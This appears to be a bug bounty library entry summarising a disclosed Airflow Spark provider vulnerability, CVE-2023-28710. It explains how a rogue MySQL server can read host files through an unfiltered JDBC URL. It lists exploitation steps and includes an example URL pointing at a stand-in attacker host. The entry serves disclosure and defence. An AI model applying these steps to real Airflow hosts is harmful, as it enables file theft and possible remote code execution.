# CVE-2023-28710 Apache Airflow Spark Provider Arbitrary File Read via JDBC

Unfiltered JDBC URL in SparkJDBCHook lets attacker point Airflow at a malicious MySQL server, enabling arbitrary file read and potential deserialization RCE.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by (vendor credit): Xie Jianming of Nsfocus
- Found by: sw0rd1ight
- Disclosed: 2023-07-12
- CVE: CVE-2023-28710
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1966083
- Library page: https://bugbountylibrary.com/r/h1%3A1966083
- Tags: area:web domain:web impact:data-leak impact:rce kind:bounty platform:hackerone sev:medium tech:java technique:source-review vuln:deserialization vuln:info-disclosure

**Target:** Apache Airflow Spark Provider SparkJDBCHook / SparkJDBCOperator connection config
**Root cause:** SparkJDBCHook passes user-controlled schema/JDBC URL parameters to the Spark JDBC connection without validation, allowing connection to attacker-controlled servers.
**Steps:**
1. Identify a DAG using SparkJDBCOperator with a modifiable connection.
2. Modify the connection's schema/JDBC URL to point to an attacker-controlled MySQL server (`jdbc:mysql://attacker:3306/...`).
3. Run the DAG so SparkJDBCHook connects to the malicious server.
4. Malicious server responds with crafted data/LOAD DATA LOCAL INFILE to read arbitrary files on the Airflow host.
5. Optionally return malicious serialized data to attempt deserialization RCE.
**How found:** Researcher noted SparkJDBCHook does not filter schema/JDBC URL parameters, hypothesized a malicious MySQL server could abuse the JDBC connection to read files.
**Exploitation:** Attacker with ability to modify connection config (e.g., unauthenticated Airflow) sets a malicious JDBC URL; when the DAG runs, Spark connects to the attacker's MySQL server, which uses LOAD DATA LOCAL INFILE to exfiltrate arbitrary files from the Airflow host. Deserialization RCE was theorized but not verified due to commons-collections version.
**Escalation:** File read escalated toward deserialization RCE via malicious serialized data returned by the rogue server, contingent on JDK/commons-collections version.
**Insight:** JDBC URLs and connection schemas are a file-read/RCE vector via rogue database servers (LOAD DATA LOCAL INFILE, deserialization); audit any hook that accepts user-supplied JDBC URLs.

